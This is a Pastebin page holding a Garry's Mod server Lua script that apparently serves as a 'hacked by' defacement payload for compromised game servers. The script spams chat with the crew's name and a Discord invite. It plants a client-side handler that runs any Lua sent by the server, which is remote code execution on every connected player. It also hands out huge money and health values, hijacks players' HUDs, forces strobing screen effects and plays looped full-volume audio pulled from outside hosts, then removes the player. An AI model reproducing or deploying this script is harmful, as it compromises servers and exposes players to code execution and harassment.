API tools faq
paste
Advertisement
midou1451

Untitled

midou1451
Feb 10th, 2018
111
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.41 KB | None | 0 0
raw download clone embed print report
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "|Hacked By MĪ¦Ī¦d Team | ")]]) end)
  33. timer.Create( "ohnonnnnn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Discord Mood : https://discord.gg/VPSJrUn ")]]) end)
  34. timer.Create( "moneymoneyyyyyyyyy", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  35. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "99999999999999999") end)
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. function lol:Start( pPlayer )
  60. pPlayer.m_intCurAction = 0
  61. self:NextAction( pPlayer )
  62. end
  63.  
  64. function lol:SendLua( pPlayer, strLua )
  65. net.Start( "skeleton_dancing_troll" )
  66. net.WriteString( strLua )
  67. net.Send( pPlayer )
  68. end
  69.  
  70. function lol:SetupPlayer( pPlayer )
  71. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  72. end
  73.  
  74. for k, v in pairs( player.GetAll() ) do
  75. lol:SetupPlayer( v )
  76. timer.Simple( 2, function() lol:Start( v ) end )
  77. end
  78.  
  79. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  80. lol:SetupPlayer( pPlayer )
  81. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  82. end )
  83.  
  84. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  85. if strText:sub( 1, 5 ) == "/1337" then
  86. pSender:Ignite( 1e9 )
  87. pSender:ChatPrint( "Nop" )
  88. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  89. return false
  90. end
  91. end )
  92.  
  93.  
  94.  
  95. --Sequence stack
  96. --Start some tunes and steam in our assets
  97. lol:PushAction( 0, function( pPlayer )
  98. lol:SendLua( pPlayer, ([=[
  99. sound.PlayURL( "http://midou.mtxserv.fr/mp3/B.mp3", "", function()end )
  100.  
  101. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  102. local html = [[%s]]
  103. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  104. local pnl = vgui.Create( "HTML" )
  105. pnl:SetPos( ScrW() -1, ScrH() -1 )
  106. pnl:SetVisible( true )
  107. pnl:SetMouseInputEnabled( false )
  108. pnl:SetKeyBoardInputEnabled( false )
  109. pnl:SetSize( intSizeX, intSizeY )
  110. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  111.  
  112. local PageLoaded
  113. PageLoaded = function()
  114. local mat = pnl:GetHTMLMaterial()
  115. if mat then
  116. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  117. return
  118. end
  119.  
  120. timer.Simple( 0.5, PageLoaded )
  121. end
  122.  
  123. PageLoaded()
  124. end
  125.  
  126. LoadWebMaterial( "http://midou.mtxserv.fr/image/noh.png", "doritos", 183, 256 )
  127. LoadWebMaterial( "http://midou.mtxserv.fr/image/M.PNG", "fedora", 256, 256 )
  128. LoadWebMaterial( "http://midou.mtxserv.fr/image/mid.png", "dew", 110, 256 )
  129. LoadWebMaterial( "http://midou.mtxserv.fr/image/lok.png", "awp", 256, 55 )
  130. ]=]):format(lol.m_strImageLoadHTML) )
  131. end )
  132.  
  133. --HUD swap
  134. lol:PushAction( 31, function( pPlayer )
  135. lol:SendLua( pPlayer, [[
  136. (GAMEMODE or GM).CalcView = function() end
  137. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  138.  
  139. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  140. for k, v in pairs(remove) do
  141. hook.GetTable()[v] = {}
  142. end
  143.  
  144. local function GetWebMat( strURL )
  145. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  146. end
  147.  
  148. hook.Add( "HUDPaint", "newhud", function()
  149. surface.SetDrawColor( 255, 255, 255, 255 )
  150.  
  151. if GetWebMat( "hud1" ) then
  152. surface.SetMaterial( GetWebMat("hud1")[1] )
  153. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  154. end
  155. if GetWebMat( "hud2" ) then
  156. surface.SetMaterial( GetWebMat("hud2")[1] )
  157. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  158. end
  159. if GetWebMat( "hud3" ) then
  160. surface.SetMaterial( GetWebMat("hud3")[1] )
  161. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  162. end
  163. if GetWebMat( "doritos" ) then
  164. surface.SetMaterial( GetWebMat("doritos")[1] )
  165. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  166. end
  167. if GetWebMat( "dew" ) then
  168. surface.SetMaterial( GetWebMat("dew")[1] )
  169. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  170. end
  171. if GetWebMat( "fedora" ) then
  172. surface.SetMaterial( GetWebMat("fedora")[1] )
  173. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  174. end
  175. if GetWebMat( "awp" ) then
  176. surface.SetMaterial( GetWebMat("awp")[1] )
  177. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  178. end
  179.  
  180. draw.SimpleTextOutlined(
  181. "Seized By FullMachine| MoodTeam.",
  182. "DermaLarge",
  183. ScrW() /2 +math.random( -8, 8 ),
  184. ScrH() /2 +math.random( -8, 8 ) +64,
  185. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  186. TEXT_ALIGN_CENTER,
  187. TEXT_ALIGN_CENTER,
  188. 1,
  189. Color( 0, 0, 255, 255 )
  190. )
  191.  
  192. draw.SimpleTextOutlined(
  193. "C:",
  194. "DermaLarge",
  195. ScrW() /2 +math.random( -8, 8 ),
  196. ScrH() /2 +math.random( -8, 8 ) +24,
  197. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  198. TEXT_ALIGN_CENTER,
  199. TEXT_ALIGN_CENTER,
  200. 1,
  201. Color( 0, 0, 255, 255 )
  202. )
  203. end )
  204.  
  205. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  206. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  207.  
  208. surface.PlaySound( "garrysmod/save_load4.wav" )
  209. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  210. ]] )
  211. end )
  212.  
  213. --Disco time
  214. lol:PushAction( 10, function( pPlayer )
  215. local idx = pPlayer:EntIndex()
  216. timer.Create( "beat".. idx, 0.42, 0, function()
  217. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  218. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  219. end )
  220.  
  221.  
  222. lol:SendLua( pPlayer, [[
  223. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  224. local time = 0
  225.  
  226. hook.Add( "Think", "wat", function()
  227. if CurTime() < time then
  228. return
  229. end
  230.  
  231. time = CurTime() +0.05
  232. for i = 1, 16 do
  233. local part = emitter:Add(
  234. "particles/balloon_bit",
  235. LocalPlayer():GetPos() +Vector(
  236. math.random( -256, 256 ),
  237. math.random( -256, 256 ),
  238. 256
  239. )
  240. )
  241.  
  242. if part then
  243. local Size = math.random( 4, 7 )
  244.  
  245. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  246. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  247. part:SetDieTime( 4.5 )
  248. part:SetGravity( Vector(40, 0, -250) )
  249. part:SetLifeTime( 0 )
  250. part:SetStartSize( Size /2 )
  251. part:SetEndSize( Size )
  252. part:SetCollide( true )
  253. end
  254. end
  255. end )
  256. ]] )
  257.  
  258. lol:SendLua( pPlayer, [[
  259. hook.Add( "RenderScreenspaceEffects", "wat", function()
  260. local sinScaler = math.sin( CurTime() )
  261. DrawBloom(
  262. 0,
  263. 3,
  264. sinScaler *math.Rand(1, 8),
  265. sinScaler *math.Rand(1, 8),
  266. 6,
  267. math.Rand(0.5, 2),
  268. math.Rand(0, 0.3),
  269. math.Rand(0, 0.3),
  270. math.Rand(0.5, 1)
  271. )
  272.  
  273. DrawColorModify{
  274. ["$pp_colour_addr"] = 0,
  275. ["$pp_colour_addg"] = 0,
  276. ["$pp_colour_addb"] = 00,
  277. ["$pp_colour_brightness" ] = 0,
  278. ["$pp_colour_contrast" ] = 1,
  279. ["$pp_colour_colour" ] = 1,
  280. ["$pp_colour_mulr" ] = 0,
  281. ["$pp_colour_mulg" ] = 0,
  282. ["$pp_colour_mulb" ] = 1
  283. }
  284. end )
  285.  
  286. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  287. mdl:SetNoDraw( true )
  288. local posCache, time = {}, 0
  289.  
  290. hook.Add( "HUDPaint", "dance", function()
  291. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  292. local idx = mdl:LookupSequence("taunt_dance")
  293. mdl.SeqDuration = mdl:SequenceDuration( idx )
  294. mdl.SeqStart = CurTime()
  295. mdl:ResetSequence( idx )
  296. end
  297.  
  298. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  299.  
  300.  
  301. local w, h = 300, 300
  302. local ang = Angle( 0, 0, 0 )
  303.  
  304. for i = 1, 32 do
  305. if CurTime() > time then
  306. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  307. end
  308. local x, y = posCache[i][1], posCache[i][2]
  309.  
  310. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  311. cam.IgnoreZ( true )
  312. render.SuppressEngineLighting( true )
  313.  
  314. render.SetLightingOrigin( mdl:GetPos() )
  315. render.ResetModelLighting( 1, 1, 1 )
  316. render.SetColorModulation( 0, 0, 1 )
  317.  
  318. mdl:DrawModel()
  319.  
  320. render.SuppressEngineLighting( false )
  321. cam.IgnoreZ( false )
  322. cam.End3D()
  323. end
  324.  
  325. if CurTime() > time then
  326. time = CurTime() +0.15
  327. end
  328. end )
  329.  
  330. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  331. ]] )
  332. end )
  333.  
  334. --Let the beat drop
  335. lol:PushAction( 54, function( pPlayer )
  336. lol:SendLua( pPlayer, [[
  337. hook.Add( "GetMotionBlurValues", "wat", function()
  338. return 0, 0, 1, math.sin(CurTime() *13)
  339. end )
  340.  
  341. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  342. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  343. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  344. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  345. end )
  346.  
  347. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  348. render.SetMaterial( Material("cable/blue_elec") )
  349. for i = 1, 32 do
  350. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  351. end
  352. end )
  353.  
  354. timer.Create( "thedrop", 0.42, 0, function()
  355. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  356. end )
  357. ]] )
  358. end )
  359.  
  360. --EVIL TIME rip headpones
  361. lol:PushAction( 175, function( pPlayer )
  362. lol:SendLua( pPlayer, [[
  363. surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  364.  
  365. local sounds = {}
  366. for i = 1, 4 do
  367. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  368. sounds[#sounds +1] = pChan
  369. end )
  370. end
  371.  
  372. timer.Create( "asdf", 1, 0, function()
  373. if #sounds ~= 4 then return end
  374. timer.Destroy( "asdf" )
  375. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  376. end )
  377.  
  378. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  379. ]] )
  380.  
  381. pPlayer:Remove()
  382. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!